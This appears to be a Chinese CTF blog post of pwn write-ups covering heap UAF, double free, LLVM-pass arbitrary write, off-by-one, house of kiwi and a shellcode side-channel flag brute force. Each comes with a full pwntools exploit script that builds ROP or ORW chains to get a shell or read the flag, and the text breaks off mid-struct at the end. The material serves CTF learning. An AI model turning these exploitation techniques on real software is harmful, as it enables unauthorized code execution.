Hexo
刷题记录
Posted on: 2024-01-09 Edited on: 2024-04-06 In:  Views: 

0x1.CISCN2022 newest_note 【整数溢出,UAF】

libc是2.34,由于glibc-all-in-one拉下来的libc没有调试符号,所以看堆特别不方便,因此我们需要手动编译glibc2.34的源码,得到调试符号,然后patch。

看到程序伪代码

Xdvcrj.png

readnum返回一个无符号整形

XdvXIx.png

下面的book = malloc(8 * pages);,存在一个整数溢出,当pages*8超过了0x100000000时,就会向上溢出为一个很小的值。

Xdx6fK.png

add函数中,申请的chunk固定为0x30,index由用户设置,只需要小于pages即可,将申请到的chunk存储在由index确定的内存中。

XdzQ1O.png

dele函数存在UAF

XdzU4P.png

show功能使用puts输出

漏洞利用

1.利用整数溢出漏洞,将page设置为一个较大的值,溢出之后只会申请一个小chunk

2.先dele掉一个chunk,泄露堆地址

3.计算好index,申请一个chunk,将之前被dele掉的chunk的bk指针填充为新申请来的chunk的地址,这样就能够继续free这个chunk,构成double free

4.double free申请到books,然后将其free得到unsortedbin,泄露libc地址,得到environ的地址

5.得到栈地址

6.第二次double free将chunk申请到栈上,rop拿shell

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level='debug'
io=process('./newest_note')
libc=ELF('./libc.so.6')

def add(index,content):
io.recvuntil(': ')
io.sendline('1')
io.recvuntil('Index: ')
io.sendline(str(index))
io.recvuntil('Content: ')
io.send(content)

def dele(index):
io.recvuntil(': ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(index))

def show(index):
io.recvuntil(': ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(index))

def quit():
io.recvuntil(': ')
io.sendline('4')

io.recvuntil('How many pages your notebook will be? :')
size=0x20000000+0xa0
io.sendline(str(size))
add(0,'a')
add(1,'a')
add(2,'a')
dele(0)
show(0)
io.recvuntil('Content: ')
heap_base=u64(io.recv(5).ljust(8,'\x00'))<<12
log.success('heap_base => {}'.format(hex(heap_base)))
dele(1)
dele(2)
add(0xab,'a')
heap_addr=(heap_base>>12)^(heap_base+0x2a0)
dele(1)
add(3,p64(heap_addr))
add(4,'a')
add(5,p64(heap_base+0x7b0))

dele(5)
show(5)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebcc0
log.success('libc_base => {}'.format(hex(libc_base)))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
env=libc_base+libc.symbols['environ']
pop_rdi=libc_base+0x0000000000028802
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
log.success('env => {}'.format(hex(env)))
add(0,p64(env))

show(0)
stack_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x138
log.success('stack_addr => {}'.format(hex(stack_addr)))

add(6,'a')
add(7,'a')
add(8,'a')
add(9,'a')
dele(7)
dele(8)
dele(9)
add(0x19,'a')
dele(8)
addr=(heap_base>>12)^(stack_addr)

add(10,p64(addr))
payload='a'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
add(0,'a')
add(1,payload)
#gdb.attach(io)
quit()
io.interactive()

0x2.红帽杯2021 simplevm 【llvm pwn,任意地址读写】

llvm pass的pwn题,llvm pass是个啥我就不多解释了,毕竟很多佬们都说过了,这里就记录一下调试等我在做题中遇到的问题

直接用IDA打开题目给的VMPass.so文件,然后在虚表中找到runOnFunction函数,这个函数位于虚表的最后一个,分析它就行了。

XB8c3q.png

首先会获取函数名,检查是否为o0o0o0o0,如果是的话就进入sub_7F43E642CAC0这个函数

XBGYa4.png

遍历IR中的每个BasicBlock,调用sub_7F43E642CB80进行处理

XBYrUe.png

对每条Instruction进行处理,如果这条Instruction是函数调用,则获取函数名,然后根据不同的函数名进行不同的操作

XBYIUg.png

比如这条匹配到函数名为pop,会获取这个函数的第一个参数值,如果为1,就将栈顶的值赋给register1,为2就将栈顶的值赋给register2.

一共有pop,push,store,load,add,min这6个操作,漏洞出现在store和load操作中,如下

XBNy6I.png

store操作将一个寄存器的值赋给另一个寄存器的值指向的内存,没有对寄存器的值做限制,所以存在任意地址写。

XBN20f.png

load操作和store操作是反过来的,同样没有对寄存器的值做限制,可以认为是一个任意地址读。

在llvmpass pwn中,我们要pwn的不是这个VMPass.so,而是opt这个程序,opt会加载VMPass.so这个动态链接库。

我们首先检查一下opt-8这个程序的保护

XBNo1s.png

只开启了NX,这种情况我们可以修改某个函数的got表,将其改为onegadget或者system函数,然后触发即可。

那么选择哪个函数的got表进行修改?

在函数的最后,调用了free函数

XBUm3d.png

我们可以将free的got表修改为onegadget,在退出这个函数的时候就会触发onegadget

整体利用思路为:先将free的got表地址利用add功能存入到reg1中,然后利用load功能将free的地址存入reg2,然后计算出onegadget的地址和free地址的偏移,利用add功能在reg2中构造出onegadget的地址,最后利用store功能将onegadget存入free的got表中。

如何调试?我们先写出一个大致的exp.c

1
2
3
4
5
6
void store(int a);
void load(int a);
void add(int a, int b);
void o0o0o0o0(){

}

然后将其生成.ll文件

1
clang -emit-llvm -S exp.c -o exp.ll

要运行exp的话,使用如下命令

1
opt-8 -load ./VMPass.so -VMPass ./exp.ll

我们想要使用gdb调试exp的话,步骤如下:

XBavl9.png

此时gdb断在了opt-8的main函数,我们使用vmmap命令查看此时的内存分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x777000 r-xp 377000 0 /home/lock/CTF/llvmpwn/simpleVM/opt-8
0x777000 0x77e000 r--p 7000 376000 /home/lock/CTF/llvmpwn/simpleVM/opt-8
0x77e000 0x782000 rw-p 4000 37d000 /home/lock/CTF/llvmpwn/simpleVM/opt-8
0x782000 0x7f3000 rw-p 71000 0 [heap]
0x7ffff25a5000 0x7ffff25ca000 r-xp 25000 0 /lib/x86_64-linux-gnu/libtinfo.so.5.9
0x7ffff25ca000 0x7ffff27ca000 ---p 200000 25000 /lib/x86_64-linux-gnu/libtinfo.so.5.9
0x7ffff27ca000 0x7ffff27ce000 r--p 4000 25000 /lib/x86_64-linux-gnu/libtinfo.so.5.9
0x7ffff27ce000 0x7ffff27cf000 rw-p 1000 29000 /lib/x86_64-linux-gnu/libtinfo.so.5.9
0x7ffff27cf000 0x7ffff27d2000 r-xp 3000 0 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff27d2000 0x7ffff29d1000 ---p 1ff000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff29d1000 0x7ffff29d2000 r--p 1000 2000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff29d2000 0x7ffff29d3000 rw-p 1000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff29d3000 0x7ffff29da000 r-xp 7000 0 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff29da000 0x7ffff2bd9000 ---p 1ff000 7000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff2bd9000 0x7ffff2bda000 r--p 1000 6000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff2bda000 0x7ffff2bdb000 rw-p 1000 7000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff2bdb000 0x7ffff2bf7000 r-xp 1c000 0 /lib/x86_64-linux-gnu/libz.so.1.2.11
0x7ffff2bf7000 0x7ffff2df6000 ---p 1ff000 1c000 /lib/x86_64-linux-gnu/libz.so.1.2.11
0x7ffff2df6000 0x7ffff2df7000 r--p 1000 1b000 /lib/x86_64-linux-gnu/libz.so.1.2.11
0x7ffff2df7000 0x7ffff2df8000 rw-p 1000 1c000 /lib/x86_64-linux-gnu/libz.so.1.2.11
0x7ffff2df8000 0x7ffff2e29000 r-xp 31000 0 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56
0x7ffff2e29000 0x7ffff3028000 ---p 1ff000 31000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56
0x7ffff3028000 0x7ffff302a000 r--p 2000 30000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56
0x7ffff302a000 0x7ffff302b000 rw-p 1000 32000 /usr/lib/x86_64-linux-gnu/libedit.so.2.0.56
0x7ffff302b000 0x7ffff302f000 rw-p 4000 0 [anon_7ffff302b]
0x7ffff302f000 0x7ffff3036000 r-xp 7000 0 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
0x7ffff3036000 0x7ffff3235000 ---p 1ff000 7000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
0x7ffff3235000 0x7ffff3236000 r--p 1000 6000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
0x7ffff3236000 0x7ffff3237000 rw-p 1000 7000 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
0x7ffff3237000 0x7ffff341e000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff341e000 0x7ffff361e000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff361e000 0x7ffff3622000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff3622000 0x7ffff3624000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff3624000 0x7ffff3628000 rw-p 4000 0 [anon_7ffff3624]
0x7ffff3628000 0x7ffff363f000 r-xp 17000 0 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff363f000 0x7ffff383e000 ---p 1ff000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff383e000 0x7ffff383f000 r--p 1000 16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff383f000 0x7ffff3840000 rw-p 1000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff3840000 0x7ffff39dd000 r-xp 19d000 0 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff39dd000 0x7ffff3bdc000 ---p 1ff000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff3bdc000 0x7ffff3bdd000 r--p 1000 19c000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff3bdd000 0x7ffff3bde000 rw-p 1000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff3bde000 0x7ffff3d57000 r-xp 179000 0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
0x7ffff3d57000 0x7ffff3f57000 ---p 200000 179000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
0x7ffff3f57000 0x7ffff3f61000 r--p a000 179000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
0x7ffff3f61000 0x7ffff3f63000 rw-p 2000 183000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25
0x7ffff3f63000 0x7ffff3f67000 rw-p 4000 0 [anon_7ffff3f63]
0x7ffff3f67000 0x7ffff7735000 r-xp 37ce000 0 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1
0x7ffff7735000 0x7ffff7736000 ---p 1000 37ce000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1
0x7ffff7736000 0x7ffff7b48000 r--p 412000 37ce000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1
0x7ffff7b48000 0x7ffff7b4b000 rw-p 3000 3be0000 /usr/lib/x86_64-linux-gnu/libLLVM-8.so.1
0x7ffff7b4b000 0x7ffff7bb4000 rw-p 69000 0 [anon_7ffff7b4b]
0x7ffff7bb4000 0x7ffff7bce000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7bce000 0x7ffff7dcd000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dcd000 0x7ffff7dce000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dce000 0x7ffff7dcf000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 rw-p 4000 0 [anon_7ffff7dcf]
0x7ffff7dd3000 0x7ffff7dfc000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fcd000 0x7ffff7fd7000 rw-p a000 0 [anon_7ffff7fcd]
0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

由于VMPass.so是动态加载的,此时程序还没有使用VMPass.so中的函数,因此在vmmap中看不到VMPass.so,我们将断点下在getName函数上

XBdnmt.png

XBdKTf.png

XBdQk8.png

然后运行,程序就会断在getName函数,再看此时的vmmap

XBdXAf.png

VMPass.so已经被加载了进来,后续想要打其他断点就很方便了。

由于这个题目的exp很简单,用不到大量调试,我们在pwntools中加载opt-8,查看其中free函数的got表,为0x77e100

然后我们在gdb中查看这个地址中的内容就能得到free函数的真正加载地址

1
2
pwndbg> x/g 0x77e100
0x77e100: 0x00007ffff32ce910

0x00007ffff32ce910就是free的真正加载地址,然后我们计算出这个地址和onegadget的偏移量

1
2
3
4
5
6
pwndbg> libc
libc : 0x7ffff3237000
pwndbg> p/x 0x10a2fc+0x7ffff3237000
$4 = 0x7ffff33412fc
pwndbg> p/x 0x7ffff33412fc-0x00007ffff32ce910
$5 = 0x729ec

exp.c如下

1
2
3
4
5
6
7
8
9
void store(int a);
void load(int a);
void add(int a, int b);
void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x729ec);
store(1);
}

0x3.CISCN2021 Satool 【逆向】

为啥不拿CISCN2022的satool来复现呢?因为太难了,看了大佬的wp,程序没看明白,洞也没看懂更别说exp了,还是搞搞以前的简单点的来复现

还是直接找到runOnFunction这个虚函数,分析它就完事了

XrcrgP.png

这个函数很长,开头先获取函数名,然后比较函数名是否为‘r0oDkc4B’,这里需要注意,这里比较的并不是字符串,而是16进制数,在汇编里看

XrWRs0.png

x86-64是小端序,所以我们看到和真实的数据是反着的,这里实际上是在比较函数名是否为B4ckDo0r,动态调试也可以看到

Xrf9Wd.png

然后就进入到一段杂乱的代码中

Xr5dpQ.png

到这里就有了第一个功能

Xr5rmq.png

比较v89是否为save,猜测这里是比较函数名是否为save,然后进入到一大段的检测,最终save实现的功能如下

Xr5T76.png

save有两个参数,都是字符串,save申请一个0x20的堆块,然后将这两个字符串分别复制到这个堆块的fd和bk上

XrIVjs.png

takeaway这个功能没看懂,下一个

XrTgtf.png

stealkey,将heap的值,也就是fd指针的值赋给byte_204100

再看到fakekey

XrT2h8.png

Xr7w5V.png

获取参数的值,然后将参数值和byte_204100的值加起来重新赋值给heap的fd。

最后的run功能

XrLBw9.png

直接调用heap,也就是heap的fd指向的函数。

我们将断点下在save功能中的malloc

此时的堆块情况如下

XrL9MD.png

此时tcache中有一个0x20的chunk,所以此时使用save功能会申请这个chunk

tcache中的这个chunk出来之后,就没有合适的chunk可以直接分配了,后续就会从unsortedbin中切割chunk,这样一来就能够在fd上留下libc的地址,如下图是第二次申请来的chunk

XrLKsg.png

fd上留下了libc的地址。

有了libc地址之后,我们可以调用stealkey功能将libc地址存入byte_204100,然后再计算出libc地址和onegadget的偏移量,调用fakekey功能,计算出onegadget的地址,将onegadget的地址存入heap的fd中,最后在调用run功能就可以执行onegadget

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
void save(char*s1,char*s2);
void stealkey();
void fakekey(int x);
void run();
void B4ckDo0r()
{
save("","");
save("","");
stealkey();
fakekey(-0x2e19b4);
run();
};

0x4.CISCN2021 game 【逆向,off-by-one,orw】

程序有沙箱,main函数很简短,主要逻辑都在execute函数中

X6pZrt.png

读入一段数据后,进入到execute函数中

X6phJe.png

execute函数开头会对我们输入的cmd进行一些格式检查,如上图所示,输入开头不能为\n\r。接着检查cmd中是否有,检测到就将其设置为0,然后继续检测后面的字符中是否存在空格,\r,\n,\t这些字符,如果有的话也将它们设置为0.其他的检查也不多说了,看下面的代码

X6KBWR.png

X2uLcR.png

一个合法的cmd应该如下所示

1
2
3
4
5
6
def add(id,size,content):
payload='op:2\nid:'+str(id)+'\ns:'+str(size)+'\n'
io.recvuntil('cmd> ')
io.sendline(payload)
io.recvuntil('desc> ')
io.send(content)

就是,这道题自定义了一个格式,即op,id,我们需要按照它定义好的格式进行输入才能够触发各种操作。

看到init函数

X2M1iD.png

传入两个参数,申请了一个0x20的chunk,指针存入heap,然后又申请了两个参数乘积大小的chunk,这里将这两个参数命名为length和width,申请出来的chunk命名为map,随后将map这篇内存清零。将length存入0x20的chunk+8处,将width存入0x20chunk+9处,将map指针存入0x20chunk开头处。

看到create函数

X2QC6A.png

两个参数,index和size,首先生成一组不会大于init函数中的width和length,然后根据传入的参数size申请一块chunk,命名为heap2,往这块chunk中读入数据。接着申请一块0x30的heap1,将bk位置处设置为heap2的地址,fd位置设置为index,heap1[28]=width,heap1[29]=length。

1
2
*((_QWORD *)heap1 + 2) = heap[2];
heap[2] = (int64_t)heap1;

这里可以看出,程序实现了一个类似链表的结构,init函数中申请的那个0x20的chunk就相当于链表头。

看到delete函数

X2Q0n1.png

实际上就是根据heap[2]来进行对应chunk的删除

X2QytO.png

show函数也是同理,根据heap[2]依次输出对应chunk的值。

再看到up函数

X2Q21H.png

传入1个参数,为chunk的index,根据index取到对应的chunk,然后得到其width和length,重新将v5[29]赋值为length-1,这是个啥意思呢

看下面这个图

X2lU58.pngX2lBvj.png

左边的是(length,width),右边的是(length-1,width),相当于坐标系里面的(x,y)。

1
*(_BYTE *)(*heap + *((unsigned __int8 *)heap + 9) * length + width) = 0;

这句话就对应着左边这个图,将左边这个图中的这个点清0

1
*(_BYTE *)(*((unsigned __int8 *)heap + 9) * (length - 1) + width + *heap) = a1;

这句话对应着右边这个图,即将(length-1,width)处设置为index。

后面的down,left,right也都是按照这个思路,实现了下移,左移,右移的功能。

漏洞点在于,对index上下左右位移的时候,并没有对位移的边界做出限制,可以任意移动,因此我们可以直接将index移动到某个chunk的size上,修改其size,构造off-by-one,然后申请到free_hook,使用setcontext来进行orw。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context.log_level='debug'
context.arch='amd64'
io=process('./game')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def init(l,w):
payload='op:1\nl:'+str(l)+'\nw:'+str(w)+'\n'
io.recvuntil('cmd> ')
io.sendline(payload)

def add(id,size,content):
payload='op:2\nid:'+str(id)+'\ns:'+str(size)+'\n'
io.recvuntil('cmd> ')
io.sendline(payload)
io.recvuntil('desc> ')
io.send(content)

def dele(id):
payload='op:3\nid:'+str(id)+'\n'
io.recvuntil('cmd> ')
io.sendline(payload)

def show():
payload='op:4\n'
io.recvuntil('cmd> ')
io.sendline(payload)

def up(id):
payload='op:5\nid:'+str(id)+'\n'
io.sendline(payload)

def down(id):
payload='op:6\nid:'+str(id)+'\n'
io.sendline(payload)

def left(id):
payload='op:7\nid:'+str(id)+'\n'
io.sendline(payload)

def right(id):
payload='op:8\nid:'+str(id)+'\n'
io.sendline(payload)



init(0x10,0x10)
add(1,0x410,'a')
add(2,0x190,'a')
add(3,0x80,'a')
dele(1)
add(1,0x410,'a'*8)
show()
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
free_hook=libc_base+libc.symbols['__free_hook']
setcontext_addr=libc_base+libc.symbols['setcontext']+53
pop_rdi=libc_base+0x000000000002164f
pop_rdx=libc_base+0x0000000000001b96
pop_rsi=libc_base+0x0000000000023a6a
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
ret=libc_base+0x00000000000008aa
syscall_ret=libc_base+0x00000000000d2625
pop_rax=libc_base+0x000000000001b500
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('free_hook => {}'.format(hex(free_hook)))
log.success('setcontext_addr => {}'.format(hex(setcontext_addr)))

add(4,0x10,'a')
show()
io.recvuntil('4: (9,13) ')
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x2161
log.success('libc_bheap_basease => {}'.format(hex(heap_base)))

add(0xb1,0x10,'a')
down(0xb1)
down(0xb1)
down(0xb1)
down(0xb1)
left(0xb1)
left(0xb1)
down(0xb1)
add(0x5,0x300,'a')
add(0x6,0x80,'a')
dele(1)
dele(6)
dele(3)
add(7,0x430,'a'*0x418+p64(0x91)+p64(free_hook))
add(8,0x80,'./flag\x00')
add(9,0x80,p64(setcontext_addr))

frame=SigreturnFrame()
frame.rsp=heap_base+0x2b60+0xb0
frame.rip=ret
payload=str(frame)[:0xb0]
payload+=p64(pop_rdi)+p64(heap_base+0x2730)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)+\
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0x2ad0)+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(0)+p64(syscall_ret)+\
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x2ad0)+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(1)+p64(syscall_ret)

add(10,0x300,payload)
#gdb.attach(io)
dele(10)

io.interactive()

0x5.蓝帽杯slient 【shellcode,侧信道爆破flag】

题目开了沙箱

XRisc8.png

只能使用open和read,不能write

XRCnvF.png

main函数很简短,mmap出一块内存,再读入一段0x40的数据,将这些数据存入mmap出的内存中,再执行,就是考察shellcode编写。

由于没有write,读取到flag后无法输出,这里的利用方式为shellcode盲注,也叫做侧信道攻击。先将flag读出来,然后将flag的每一位拿出来进行比较,类似于sql注入中的盲注,一位一位地得到正确的结果。

先将flag读取到栈顶,然后每次取出一个字节,对这个字节进行爆破,如果爆破成功,就使shellcode进入死循环,否则直接crash。如果shellcode进入死循环,此时就使用io.recv(timeout=1)来进行接收的话就不会出错,而如果shellcode直接crash,io.recv(timeout=1)就会失败,由此来判断是否匹配到了正确的flag,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level='debug'
context.arch='amd64'

def BruteChar(sh, idx, C):
exp = '''
xor rax, rax
mov eax, 0x67616c66
push rax

open:
xor rax, rax
inc rax
inc rax
mov rdi, rsp
xor rsi, rsi
syscall

read_flag:
mov rdi, rax
xor rax, rax
mov rsi, rsp
xor rdx, rdx
mov dl, 0xff
syscall

brute:
mov al, [rsp+%d]
cmp al, %d
jnz die
jmp brute

die:
mov al, [0]
'''%(idx, C)
try:
sh.sendlineafter("Welcome to silent execution-box.\n", asm(exp))
sh.recv(timeout=1)
return True
except:
sh.close()
return False

flag = ''
while len(flag)<0x30:
for C in range(0x20, 0x7F):
io=process('./chall')
if(BruteChar(io, len(flag), C)):
flag+=chr(C)
print(flag)
break

0x6.2022DASCTFMAY twists and turns【double free,house of kiwi】

开了沙箱,不准getshell

XXRZiq.png

XXRQL4.png

mmap出了一块内存,作为之后存放chunk指针的内存。

XXfSKS.png

三个功能,add功能就是常规的申请一块chunk并读入一些数据,对申请的chunk的size并没有做限制。

漏洞在delete函数中

XXfACq.png

进行删除时,只检查v1>50,而v1是有符号整形,因此存在数组上溢的情况。

show功能使用puts输出chunk中的数据。

check函数检查malloc_hook和free_hook

XXfHMT.png

不准我们打这俩hook

通过delete功能我们可以在fastbin中构造出double free,再通过fastbin reverse into tcache可以将double free转移到tcache中实现任意地址写(申请一个很大的chunk,比如0x30000,heap不够分配,会调用mmap来进行分配,分配在libc附近,在heap那块内存上方,事先泄露出堆地址后,就可以利用数组上溢进行double free),有了任意地址写其实有很多方法能orw,如house of banana,又或者打IO_FILE,不过这道题出题人想考察的是house of kiwi。

house of kiwi的原理为,当调用__malloc_assert时,会调用fflush函数,而在fflush执行过程中,有这样一个函数调用

XX4fCn.png

会调用[rbp+0x60]处的函数指针,而RBP为_IO_file_jumps,rdx为_IO_helper_jumps,在2.29以上版本中,setcontext的寄存器索引变成了rdx,如下图

XX5tMV.png

我们可以直接将_IO_file_jumps+0x60设置为setcontext+61,这样调用[rbp+0x60]就会调用setcontext,然后在_IO_helper_jumps中设置各种寄存器的值,主要是设置好rsp和rip的值,将rsp设置为某个chunk的地址,在这个chunk中提前布置好orw链,rip设置为ret,这样当setcontext结束时就会ret到rsp上,也就是布置了orw链的chunk上,执行orw。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
context.log_level='debug'
io=process('./pwn')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9_amd64/libc-2.31.so')

def add(size,content):
io.recvuntil('Your choice:')
io.sendline('1')
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Content:')
io.send(content)

def dele(index):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Idx:')
io.send(str(index))

def show(index):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Idx:')
io.send(str(index))

add(0x430,'a')
add(0x10,'a')
dele(0)
add(0x430,'a'*0x8)
show(0)

libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
log.success('libc_base => {}'.format(hex(libc_base)))
setcontext_addr=libc_base+libc.symbols['setcontext']+61
io_helper_jumps_addr=libc_base+0x1ec8a0
sync_addr=libc_base+libc.symbols['_IO_file_jumps']+0x60
pop_rdi=libc_base+0x0000000000026b72
pop_rsi=libc_base+0x0000000000027529
pop_rdx_r12=libc_base+0x000000000011c1e1
ret=libc_base+0x0000000000025679
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
dele(0)
add(0x440,'a')
add(0x430,'a'*0x10)
show(2)
io.recvuntil('a'*0x10)
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x290
log.success('heap_base => {}'.format(hex(heap_base)))

add(0x30000,p64(heap_base+0xed0))

for i in range(9):
add(0x70,'a')
for i in range(4,11):
dele(i)
dele(11)
dele(12)
dele(-0x61fe)
for i in range(7):
add(0x70,'a')
add(0x70,p64(sync_addr))

add(0x70,'a')
add(0x70,'a')
add(0x70,p64(setcontext_addr))

for i in range(9):
add(0x60,'a')

for i in range(15,22):
dele(i)
dele(3)
add(0x40000,p64(heap_base+0x12e0))
dele(22)
dele(23)
dele(-0x81fe)

for i in range(7):
add(0x60,'a')
add(0x60,p64(io_helper_jumps_addr+0xa0))
add(0x60,'./flag')
add(0x60,'a')
flag_addr=heap_base+0x1350
orw_addr=heap_base+0x700
payload=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)+\
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(read_addr)+\
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(orw_addr)+p64(write_addr)
add(0x200,payload)
add(0x60,p64(heap_base+0x13c0)+p64(ret))

for i in range(15,22):
dele(i)
dele(22)
dele(23)
dele(24)
for i in range(7):
add(0x60,'a')

add(0x60,p64(heap_base+0x15c0))
add(0x60,'./flag')
add(0x60,'a')
add(0x60,p64(0)+p64(0x18))
gdb.attach(io)
add(0x30,'a')


io.interactive()

另外,house of kiwi的适用范围有限制,在2.31这个大版本中,小版本号9.7以下可以使用kiwi,小版本9.7及以上不可使用。但2.32的低版本也可以使用kiwi,因为house of kiwi的提出版本为2.32,具体适用小版本号没有测试。

0x7.SUSCTF 2022 rain【逆向,realloc导致UAF,类型混淆】

XXbbyn.png

看到sub_4013B4函数

XXbzYF.png

看起来是进行一些初始化,相当乱,静态分析肯定是不太行的

看一下sub_400E17函数

XXqETK.png

用来打印一些参数。这个函数的参数其实就是sub_4013B4函数中的v5,因此,根据printf的输出可以对v5结构体进行一些恢复。

另外,在gdb中查看堆块信息也有助于我们恢复结构体,如下图

XvLOG8.png

对照着printf的输出信息恢复结构体,大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct rain
{
uint32_t height;
